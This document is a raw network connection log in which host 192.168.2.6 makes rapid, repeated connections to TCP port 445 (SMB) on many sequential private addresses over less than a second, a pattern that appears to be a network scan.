Jul 6, 2024 14:11:32.773999929 CEST	51859	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:32.774008989 CEST	51860	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:32.777368069 CEST	445	51855	192.168.1.179	192.168.2.6
Jul 6, 2024 14:11:32.777801991 CEST	445	51858	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:32.777889013 CEST	51858	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:32.777970076 CEST	445	51857	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:32.777978897 CEST	51858	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:32.778835058 CEST	445	51859	192.168.3.82	192.168.2.6
Jul 6, 2024 14:11:32.778893948 CEST	445	51860	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:32.778908014 CEST	51857	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:32.778917074 CEST	51859	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:32.778944969 CEST	51860	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:32.778995991 CEST	51857	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:32.779037952 CEST	51859	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:32.779078960 CEST	51860	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:32.783694983 CEST	445	51858	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:32.783893108 CEST	445	51857	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:32.784523010 CEST	445	51857	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:32.784552097 CEST	445	51859	192.168.3.82	192.168.2.6
Jul 6, 2024 14:11:32.784596920 CEST	51859	445	192.168.2.6	192.168.3.82
Jul 6, 2024 14:11:32.784787893 CEST	445	51860	192.168.1.180	192.168.2.6
Jul 6, 2024 14:11:32.785197020 CEST	51860	445	192.168.2.6	192.168.1.180
Jul 6, 2024 14:11:32.788172960 CEST	51861	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:32.788242102 CEST	51862	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:32.789398909 CEST	51863	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:32.789499998 CEST	51864	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:32.792998075 CEST	445	51861	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:32.793059111 CEST	51861	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:32.793118954 CEST	51861	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:32.794120073 CEST	445	51862	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:32.794182062 CEST	51862	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:32.794225931 CEST	51862	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:32.794239998 CEST	445	51863	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:32.794250011 CEST	445	51864	192.168.3.83	192.168.2.6
Jul 6, 2024 14:11:32.794301987 CEST	51863	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:32.794380903 CEST	51864	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:32.794380903 CEST	51864	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:32.794512033 CEST	51863	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:32.798068047 CEST	445	51861	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:32.798120022 CEST	51861	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:32.798142910 CEST	445	51861	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:32.799104929 CEST	445	51862	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:32.799316883 CEST	445	51862	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:32.800127029 CEST	445	51863	192.168.1.181	192.168.2.6
Jul 6, 2024 14:11:32.800179958 CEST	51863	445	192.168.2.6	192.168.1.181
Jul 6, 2024 14:11:32.800951958 CEST	445	51864	192.168.3.83	192.168.2.6
Jul 6, 2024 14:11:32.801001072 CEST	51864	445	192.168.2.6	192.168.3.83
Jul 6, 2024 14:11:32.803442001 CEST	445	51861	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:32.804761887 CEST	51865	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:32.805558920 CEST	51866	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:32.809710979 CEST	445	51865	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:32.809787035 CEST	51865	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:32.810691118 CEST	445	51818	192.168.1.167	192.168.2.6
Jul 6, 2024 14:11:32.810740948 CEST	51818	445	192.168.2.6	192.168.1.167
Jul 6, 2024 14:11:32.810789108 CEST	445	51866	192.168.3.84	192.168.2.6
Jul 6, 2024 14:11:32.810839891 CEST	51866	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:32.810920000 CEST	51866	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:32.815793991 CEST	445	51866	192.168.3.84	192.168.2.6
Jul 6, 2024 14:11:32.815866947 CEST	51866	445	192.168.2.6	192.168.3.84
Jul 6, 2024 14:11:32.819243908 CEST	51865	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:32.820487022 CEST	51867	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:32.821314096 CEST	51868	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:32.824532986 CEST	445	51865	192.168.1.182	192.168.2.6
Jul 6, 2024 14:11:32.825932026 CEST	445	51867	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:32.826001883 CEST	51865	445	192.168.2.6	192.168.1.182
Jul 6, 2024 14:11:32.826045990 CEST	51867	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:32.826134920 CEST	51867	445	192.168.2.6	192.168.1.183
Jul 6, 2024 14:11:32.826570034 CEST	445	51868	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:32.830620050 CEST	51868	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:32.830713987 CEST	51868	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:32.831052065 CEST	445	51867	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:32.831965923 CEST	445	51867	192.168.1.183	192.168.2.6
Jul 6, 2024 14:11:32.835316896 CEST	51869	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:32.835756063 CEST	445	51868	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:32.835798979 CEST	445	51868	192.168.3.85	192.168.2.6
Jul 6, 2024 14:11:32.835813999 CEST	51868	445	192.168.2.6	192.168.3.85
Jul 6, 2024 14:11:32.836604118 CEST	51870	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:32.837445021 CEST	51871	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:32.840128899 CEST	445	51869	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:32.841466904 CEST	445	51870	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:32.841552973 CEST	51869	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:32.842462063 CEST	445	51871	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:32.842502117 CEST	51870	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:32.842529058 CEST	51871	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:32.847315073 CEST	51869	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:32.847556114 CEST	51870	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:32.847809076 CEST	51871	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:32.849421978 CEST	445	51869	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:32.849478960 CEST	51869	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:32.849742889 CEST	445	51870	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:32.849801064 CEST	51870	445	192.168.2.6	192.168.1.184
Jul 6, 2024 14:11:32.849960089 CEST	445	51871	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:32.850013018 CEST	51871	445	192.168.2.6	192.168.3.86
Jul 6, 2024 14:11:32.851989031 CEST	51872	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:32.852248907 CEST	51873	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:32.854546070 CEST	445	51869	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:32.854692936 CEST	445	51870	192.168.1.184	192.168.2.6
Jul 6, 2024 14:11:32.854888916 CEST	445	51871	192.168.3.86	192.168.2.6
Jul 6, 2024 14:11:32.855041981 CEST	445	51869	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:32.857065916 CEST	445	51872	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:32.857141972 CEST	51872	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:32.857250929 CEST	51872	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:32.857302904 CEST	445	51873	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:32.857353926 CEST	51873	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:32.857419968 CEST	51873	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:32.861088991 CEST	51874	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:32.861578941 CEST	51875	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:32.862293959 CEST	445	51872	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:32.862494946 CEST	445	51873	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:32.863045931 CEST	445	51873	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:32.866312027 CEST	51876	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:32.866391897 CEST	445	51874	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:32.866445065 CEST	51874	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:32.867067099 CEST	445	51875	192.168.3.87	192.168.2.6
Jul 6, 2024 14:11:32.867124081 CEST	51875	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:32.867218018 CEST	51875	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:32.869417906 CEST	51878	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:32.870353937 CEST	51877	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:32.873955965 CEST	445	51876	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:32.873972893 CEST	445	51874	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:32.874006033 CEST	445	51875	192.168.3.87	192.168.2.6
Jul 6, 2024 14:11:32.874074936 CEST	51876	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:32.874099970 CEST	51874	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:32.874176025 CEST	51875	445	192.168.2.6	192.168.3.87
Jul 6, 2024 14:11:32.874176025 CEST	51876	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:32.875051022 CEST	445	51878	192.168.3.88	192.168.2.6
Jul 6, 2024 14:11:32.875060081 CEST	445	51833	192.168.1.172	192.168.2.6
Jul 6, 2024 14:11:32.875793934 CEST	51878	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:32.875793934 CEST	51878	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:32.876811028 CEST	51833	445	192.168.2.6	192.168.1.172
Jul 6, 2024 14:11:32.878963947 CEST	445	51877	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:32.879995108 CEST	445	51876	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:32.880703926 CEST	445	51876	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:32.880799055 CEST	51877	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:32.880799055 CEST	51877	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:32.881730080 CEST	51874	445	192.168.2.6	192.168.1.185
Jul 6, 2024 14:11:32.884716034 CEST	445	51878	192.168.3.88	192.168.2.6
Jul 6, 2024 14:11:32.884762049 CEST	51878	445	192.168.2.6	192.168.3.88
Jul 6, 2024 14:11:32.886136055 CEST	445	51877	192.168.1.186	192.168.2.6
Jul 6, 2024 14:11:32.886198044 CEST	51877	445	192.168.2.6	192.168.1.186
Jul 6, 2024 14:11:32.886786938 CEST	51879	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:32.887758017 CEST	51880	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:32.889503956 CEST	445	51874	192.168.1.185	192.168.2.6
Jul 6, 2024 14:11:32.889512062 CEST	445	51836	192.168.3.75	192.168.2.6
Jul 6, 2024 14:11:32.889522076 CEST	445	51835	192.168.1.173	192.168.2.6
Jul 6, 2024 14:11:32.889591932 CEST	51835	445	192.168.2.6	192.168.1.173
Jul 6, 2024 14:11:32.889596939 CEST	51836	445	192.168.2.6	192.168.3.75
Jul 6, 2024 14:11:32.891578913 CEST	445	51879	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:32.891638994 CEST	51879	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:32.891741037 CEST	51879	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:32.893235922 CEST	445	51880	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:32.893306017 CEST	51880	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:32.893382072 CEST	51880	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:32.897636890 CEST	51881	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:32.897814989 CEST	51882	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:32.900367022 CEST	445	51879	192.168.1.187	192.168.2.6
Jul 6, 2024 14:11:32.900665998 CEST	51879	445	192.168.2.6	192.168.1.187
Jul 6, 2024 14:11:32.900738001 CEST	51884	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:32.901492119 CEST	51883	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:32.903032064 CEST	445	51880	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:32.905478001 CEST	445	51880	192.168.3.89	192.168.2.6
Jul 6, 2024 14:11:32.905538082 CEST	445	51881	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:32.905551910 CEST	445	51882	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:32.905611038 CEST	51881	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:32.905651093 CEST	51882	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:32.905703068 CEST	51881	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:32.905755997 CEST	51880	445	192.168.2.6	192.168.3.89
Jul 6, 2024 14:11:32.905756950 CEST	51882	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:32.908153057 CEST	445	51884	192.168.3.90	192.168.2.6
Jul 6, 2024 14:11:32.908212900 CEST	51884	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:32.908299923 CEST	51884	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:32.909997940 CEST	445	51883	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:32.910058022 CEST	51883	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:32.910649061 CEST	51883	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:32.913177013 CEST	445	51881	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:32.913184881 CEST	445	51882	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:32.913193941 CEST	445	51881	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:32.913208008 CEST	445	51882	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:32.915347099 CEST	445	51884	192.168.3.90	192.168.2.6
Jul 6, 2024 14:11:32.915463924 CEST	445	51883	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:32.915522099 CEST	51884	445	192.168.2.6	192.168.3.90
Jul 6, 2024 14:11:32.915534019 CEST	51883	445	192.168.2.6	192.168.1.188
Jul 6, 2024 14:11:32.915731907 CEST	445	51883	192.168.1.188	192.168.2.6
Jul 6, 2024 14:11:32.918401957 CEST	51885	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:32.920344114 CEST	51886	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:32.924855947 CEST	445	51885	192.168.3.91	192.168.2.6
Jul 6, 2024 14:11:32.925168037 CEST	445	51886	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:32.925232887 CEST	51885	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:32.925335884 CEST	51886	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:32.925335884 CEST	51885	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:32.925473928 CEST	51886	445	192.168.2.6	192.168.1.189
Jul 6, 2024 14:11:32.931094885 CEST	445	51885	192.168.3.91	192.168.2.6
Jul 6, 2024 14:11:32.931375980 CEST	51887	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:32.931410074 CEST	51885	445	192.168.2.6	192.168.3.91
Jul 6, 2024 14:11:32.932212114 CEST	51888	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:32.932622910 CEST	445	51886	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:32.932634115 CEST	445	51886	192.168.1.189	192.168.2.6
Jul 6, 2024 14:11:32.937598944 CEST	445	51887	192.168.3.92	192.168.2.6
Jul 6, 2024 14:11:32.937674046 CEST	51887	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:32.937777996 CEST	51887	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:32.943559885 CEST	445	51888	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:32.943633080 CEST	51888	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:32.943717957 CEST	51888	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:32.947248936 CEST	51891	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:32.947998047 CEST	51892	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:32.948667049 CEST	445	51887	192.168.3.92	192.168.2.6
Jul 6, 2024 14:11:32.949491978 CEST	445	51888	192.168.1.190	192.168.2.6
Jul 6, 2024 14:11:32.949934006 CEST	51887	445	192.168.2.6	192.168.3.92
Jul 6, 2024 14:11:32.949934006 CEST	51888	445	192.168.2.6	192.168.1.190
Jul 6, 2024 14:11:32.953723907 CEST	51889	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:32.953723907 CEST	51890	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:32.953821898 CEST	445	51891	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:32.953845024 CEST	445	51892	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:32.953926086 CEST	51892	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:32.954153061 CEST	51892	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:32.958228111 CEST	51891	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:32.958228111 CEST	51891	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:32.959728956 CEST	445	51892	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:32.959748983 CEST	445	51892	192.168.3.93	192.168.2.6
Jul 6, 2024 14:11:32.959805965 CEST	51892	445	192.168.2.6	192.168.3.93
Jul 6, 2024 14:11:32.960881948 CEST	51893	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:32.960963964 CEST	51894	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:32.962544918 CEST	51896	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:32.963733912 CEST	445	51889	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:32.963743925 CEST	445	51890	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:32.964366913 CEST	51889	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:32.964366913 CEST	51889	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:32.964366913 CEST	51890	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:32.964366913 CEST	51890	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:32.964838028 CEST	445	51891	192.168.1.191	192.168.2.6
Jul 6, 2024 14:11:32.964883089 CEST	51891	445	192.168.2.6	192.168.1.191
Jul 6, 2024 14:11:32.966804028 CEST	445	51893	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:32.966824055 CEST	445	51894	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:32.967287064 CEST	51895	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:32.968566895 CEST	51893	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:32.968566895 CEST	51894	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:32.968566895 CEST	51893	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:32.968566895 CEST	51894	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:32.969156981 CEST	445	51896	192.168.3.94	192.168.2.6
Jul 6, 2024 14:11:32.969218969 CEST	51896	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:32.969284058 CEST	51896	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:32.969916105 CEST	445	51889	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:32.969926119 CEST	445	51890	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:32.969933987 CEST	445	51889	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:32.969948053 CEST	445	51890	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:32.974267006 CEST	445	51893	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:32.974284887 CEST	445	51895	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:32.974376917 CEST	51893	445	192.168.2.6	192.168.1.63
Jul 6, 2024 14:11:32.975183010 CEST	445	51893	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:32.975197077 CEST	445	51896	192.168.3.94	192.168.2.6
Jul 6, 2024 14:11:32.975236893 CEST	445	51894	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:32.975244999 CEST	51896	445	192.168.2.6	192.168.3.94
Jul 6, 2024 14:11:32.977518082 CEST	445	51894	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:32.977713108 CEST	51897	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:32.977854013 CEST	51895	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:32.977854013 CEST	51895	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:32.982667923 CEST	445	51893	192.168.1.63	192.168.2.6
Jul 6, 2024 14:11:32.983923912 CEST	51899	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:32.984565020 CEST	51898	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:32.984600067 CEST	445	51897	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:32.984623909 CEST	445	51895	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:32.985091925 CEST	51897	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:32.985093117 CEST	51897	445	192.168.2.6	192.168.1.64
Jul 6, 2024 14:11:32.990016937 CEST	445	51895	192.168.1.192	192.168.2.6
Jul 6, 2024 14:11:32.990067005 CEST	445	51899	192.168.3.95	192.168.2.6
Jul 6, 2024 14:11:32.990118980 CEST	51899	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:32.990144968 CEST	445	51897	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:32.990153074 CEST	445	51897	192.168.1.64	192.168.2.6
Jul 6, 2024 14:11:32.990200996 CEST	51899	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:32.990262985 CEST	51895	445	192.168.2.6	192.168.1.192
Jul 6, 2024 14:11:32.991287947 CEST	51900	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:32.992305994 CEST	51902	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:32.993335962 CEST	51901	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:32.995110035 CEST	445	51899	192.168.3.95	192.168.2.6
Jul 6, 2024 14:11:32.995306015 CEST	51899	445	192.168.2.6	192.168.3.95
Jul 6, 2024 14:11:32.995719910 CEST	51903	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:32.998017073 CEST	445	51898	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:32.998059034 CEST	445	51900	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:32.998086929 CEST	445	51902	192.168.3.96	192.168.2.6
Jul 6, 2024 14:11:32.998106003 CEST	51900	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:32.998123884 CEST	51898	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:32.998126984 CEST	51902	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:32.998187065 CEST	51900	445	192.168.2.6	192.168.1.65
Jul 6, 2024 14:11:32.998256922 CEST	51902	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:32.999990940 CEST	445	51901	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:33.000236988 CEST	51901	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:33.000237942 CEST	51901	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:33.002904892 CEST	445	51903	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:33.004914045 CEST	51903	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:33.004996061 CEST	445	51900	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:33.005012989 CEST	445	51900	192.168.1.65	192.168.2.6
Jul 6, 2024 14:11:33.005026102 CEST	445	51898	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:33.005939007 CEST	445	51902	192.168.3.96	192.168.2.6
Jul 6, 2024 14:11:33.005989075 CEST	51902	445	192.168.2.6	192.168.3.96
Jul 6, 2024 14:11:33.006079912 CEST	51898	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:33.008840084 CEST	51898	445	192.168.2.6	192.168.1.193
Jul 6, 2024 14:11:33.009140015 CEST	51904	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:33.009177923 CEST	51903	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:33.010473013 CEST	51905	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:33.011629105 CEST	51906	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:33.014846087 CEST	445	51901	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:33.014873028 CEST	445	51901	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:33.014885902 CEST	51901	445	192.168.2.6	192.168.1.66
Jul 6, 2024 14:11:33.017185926 CEST	445	51903	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:33.017249107 CEST	51903	445	192.168.2.6	192.168.1.194
Jul 6, 2024 14:11:33.022859097 CEST	445	51898	192.168.1.193	192.168.2.6
Jul 6, 2024 14:11:33.022867918 CEST	445	51904	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:33.022877932 CEST	445	51903	192.168.1.194	192.168.2.6
Jul 6, 2024 14:11:33.022886992 CEST	445	51905	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:33.022914886 CEST	445	51906	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:33.022958040 CEST	51904	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:33.022965908 CEST	51905	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:33.023173094 CEST	445	51901	192.168.1.66	192.168.2.6
Jul 6, 2024 14:11:33.023271084 CEST	51906	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:33.023662090 CEST	51905	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:33.024147034 CEST	51904	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:33.025950909 CEST	51907	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:33.025950909 CEST	51908	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:33.027899981 CEST	51909	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:33.029244900 CEST	445	51904	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:33.029290915 CEST	51904	445	192.168.2.6	192.168.1.67
Jul 6, 2024 14:11:33.029989004 CEST	445	51905	192.168.1.195	192.168.2.6
Jul 6, 2024 14:11:33.030040026 CEST	51905	445	192.168.2.6	192.168.1.195
Jul 6, 2024 14:11:33.030153036 CEST	445	51904	192.168.1.67	192.168.2.6
Jul 6, 2024 14:11:33.031867981 CEST	445	51906	192.168.3.97	192.168.2.6
Jul 6, 2024 14:11:33.031908989 CEST	445	51907	192.168.1.68	192.168.2.6
Jul 6, 2024 14:11:33.031913042 CEST	445	51908	192.168.3.98	192.168.2.6
Jul 6, 2024 14:11:33.031918049 CEST	51906	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:33.032004118 CEST	51907	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:33.032004118 CEST	51908	445	192.168.2.6	192.168.3.98
Jul 6, 2024 14:11:33.033943892 CEST	51906	445	192.168.2.6	192.168.3.97
Jul 6, 2024 14:11:33.033945084 CEST	51907	445	192.168.2.6	192.168.1.68
Jul 6, 2024 14:11:33.034930944 CEST	445	51909	192.168.1.196	192.168.2.6
